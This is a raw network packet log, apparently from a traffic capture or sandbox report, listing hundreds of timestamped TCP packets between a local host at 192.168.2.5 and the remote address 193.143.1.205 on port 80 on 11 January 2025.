Jan 11, 2025 04:59:09.933737040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933748960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933768034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.933782101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.933789015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933866024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933877945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933926105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933943033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.933944941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933959961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933969021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.933971882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933985949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.933994055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934039116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934065104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934123993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934135914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934145927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934180021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934202909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934284925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934297085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934308052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934319019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934329987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934367895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934390068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934401035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934413910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934425116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934453011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934477091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934482098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934494019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934504986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934520006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934533119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934535027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934556961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934597015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934612989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934624910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934636116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934670925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934911013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934921980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934935093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934950113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934957981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.934962988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.934983015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935002089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935026884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935224056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935235977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935245991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935260057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935267925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935272932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935286999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935297966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935301065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935332060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935399055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935410023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935420990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935432911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935441971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935446024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935452938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935458899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935471058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935481071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935482025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935494900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.935523987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.935544968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939193964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939205885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939227104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939239025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939249992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939249992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939264059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939275026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939330101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939438105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939460039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939472914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939483881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939496994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939498901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939508915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939521074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939532042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939532995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939544916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939569950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939820051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939847946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939861059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939866066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939872026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939893007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939893007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939907074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939919949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939938068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939938068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939951897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.939968109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.939999104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.940079927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940092087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940114021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940124989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940126896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.940139055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940150976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940164089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.940170050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.940192938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.942704916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.950467110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.978982925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.978993893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979003906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979013920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979026079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979037046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979054928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.979088068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.979118109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979130030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979140043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979152918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979161978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.979166031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979172945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.979176998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979187965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979199886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.979212999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.979233980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.990370989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990391970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990402937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990415096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990430117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.990430117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990443945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990458012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:09.990464926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.990492105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.990511894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:09.996020079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.009538889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009574890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009582996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009593964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009603977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009614944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009620905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.009632111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009645939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009655952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.009705067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.009748936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009759903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009769917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009792089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.009794950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009809971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009819984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009829998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.009857893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.012820959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020754099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020772934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020790100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020802021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020812035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020817041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020823956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020833015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020855904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020868063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020870924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020883083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020893097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020903111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020916939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020921946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020940065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020951033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.020962000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.020987034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021011114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021023989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021033049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021054029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021054029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021064997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021086931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021100998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021117926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021127939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021128893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021166086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021203995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021214008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021224022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021249056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021267891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021290064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021317005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021327019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021336079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021347046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021362066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021363020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021384954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021389008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021400928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021436930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021441936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021451950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021462917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021478891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021496058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021547079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021565914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021578074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021586895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021599054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021599054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021610975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021621943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021622896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021646976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021665096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021694899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021706104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021716118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021716118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021744967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021817923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021830082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021840096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021848917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021864891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021878958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021909952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021920919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021929979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021953106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021972895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.021975994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.021985054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022000074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022010088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022022009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022078991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022097111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.022121906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022133112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022142887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022171974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022182941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022193909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022245884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.022284985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022295952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.022298098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.022331953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.024738073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.039772987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039796114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039809942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039824009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039834976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039846897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039860964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.039915085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.039926052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039983988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.039995909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040015936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040029049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040040970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.040044069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040056944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040106058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.040266991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040278912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040290117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040303946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040317059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040324926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.040328979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040343046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.040350914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.040399075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.065932989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.065956116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.065968990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.065982103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066013098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066024065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066036940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066049099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.066066980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066083908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066087961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.066106081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.066107035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066127062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066138029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066143990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066153049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066159010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.066174984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066186905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.066189051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.066229105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.077274084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077295065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077306032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077317953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077356100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077368975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077380896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.077387094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077399015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.077413082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.077434063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.077444077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.096615076 CET	80	49704	193.143.1.205	192.168.2.5
